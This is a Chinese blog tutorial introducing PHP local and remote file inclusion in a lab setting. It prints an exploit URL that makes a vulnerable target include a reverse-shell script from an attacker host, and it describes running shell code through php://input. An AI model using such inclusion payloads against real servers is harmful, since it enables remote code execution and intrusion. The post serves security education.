当前位置：网站首页 > 技术流 > 正文

文件包含入门

citgpt 2024-09-26 11:29 8 浏览 0 评论

文件包含有的函数在PHP里面有4个，分别是include、include_once、require、require_once ，都是加载文件或协议资源，将其内容作为PHP代码执行。文件包含又分为本地文件包含LFI和远程文件包含RFI，这个是由php.ini配置文件的allow_url_include和allow_url_fopen控制的，如果2个都是On，那么就是远程文件包含RFI，否则就是本地文件包含，值得注意的是，如果仅仅打开了 allow_url_include，还可以利用PHP伪协议实现任意代码执行。

ailx10

文件包含入门

网络安全优秀回答者

网络安全硕士

去咨询

为了完成这个小实验，先开启allow_url_include和allow_url_fopen，重启apache2，如下图所示：

接下来，我来演示一下如何通过远程文件包含，实现任意代码执行（webshell）

1）kali 黑客主机，上面写一个网站，内容是反弹shell

2）访问含有文件包含漏洞的脆弱性靶场（ ubuntu ）

http://192.168.0.104/ailx10.php?ailx10=http://192.168.0.103/hack-you.php

3）反弹shell成功，可以任意代码执行

本文的最后，我给大家表演一下PHP伪协议，在仅开启allow_url_include的情况下的应用，这里也非常简单，还是上面的任意代码执行的例子，我们只需要使用burpsuite进行修改请求内容，将反弹shell脚本放在请求里面就可以了，注意这里请求的路径是php://input

编辑于 2023-09-03 10:45?IP 属地江苏

require_once

上一篇：DEDECMS织梦系统接入熊掌号推送api，完整详细教程
下一篇：设计模式-代理模式

相关推荐

js中arguments详解: 一、简介了解arguments这个对象之前先来认识一下javascript的一些功能：其实Javascript并没有重载函数的功能，但是Arguments对象能够模拟重载。Javascrip中每个函数...

firewall-cmd 常用命令: 目录firewalldzone说明firewallzone内容说明firewall-cmd常用参数firewall-cmd常用命令常用命令回到顶部firewalldzone...

epel-release 是什么: EPEL-release（ExtraPackagesforEnterpriseLinux）是一个软件仓库，它为企业级Linux发行版（如CentOS、RHEL等）提供额外的软件包。以下是关于E...

FullGC详解什么是 JVM 的 GC: 前言：背景：一、什么是JVM的GC?JVM（JavaVirtualMachine）。JVM是Java程序的虚拟机，是一种实现Java语言的解...; 2024-10-26 08:50 citgpt

使用Spire.Doc组件利用模板导出Word文档

跨域（CrossOrigin）: 1.介绍　　1)跨域问题：跨域问题是在网络中，当一个网络的运行脚本（通常时JavaScript）试图访问另一个网络的资源时，如果这两个网络的端口、协议和域名不一致时就会出现跨域问题。　　　　通俗讲...

微服务架构和分布式架构的区别: 1、含义不同微服务架构：微服务架构风格是一种将一个单一应用程序开发为一组小型服务的方法，每个服务运行在自己的进程中，服务间通信采用轻量级通信机制(通常用HTTP资源API)。这些服务围绕业务能力构建并...

深入理解与应用CSS clip-path 属性: clip-pathclip-path是什么clip-path 是一个CSS属性，允许开发者创建一个剪切区域，从而决定元素的哪些部分可见，哪些部分会被隐...; 2024-10-25 11:51 citgpt

HCNP Routing&Switching之OSPF LSA类型（二）

Redis和Memcached的区别详解

Request.ServerVariables 大全: Request.ServerVariables("Url")返回服务器地址Request.ServerVariables("Path_Info")客户端提供的路...

python操作Kafka: 目录一、python操作kafka1.python使用kafka生产者2.python使用kafka消费者3.使用docker中的kafka二、python操作kafka细...

Runtime.getRuntime().exec详解: Runtime.getRuntime().exec详解概述Runtime.getRuntime().exec用于调用外部可执行程序或系统命令，并重定向外部程序的标准输入、标准输出和标准错误到缓冲池。...

promise.all详解 promise.all是干什么的: promise.all详解promise.all中所有的请求成功了，走.then()，在.then()中能得到一个数组，数组中是每个请求resolve抛出的结果...; 2024-10-24 16:21 citgpt

Content-Length和Transfer-Encoding详解

取消回复欢迎你发表评论:

一周热门

最近发表

首页
收录
顶部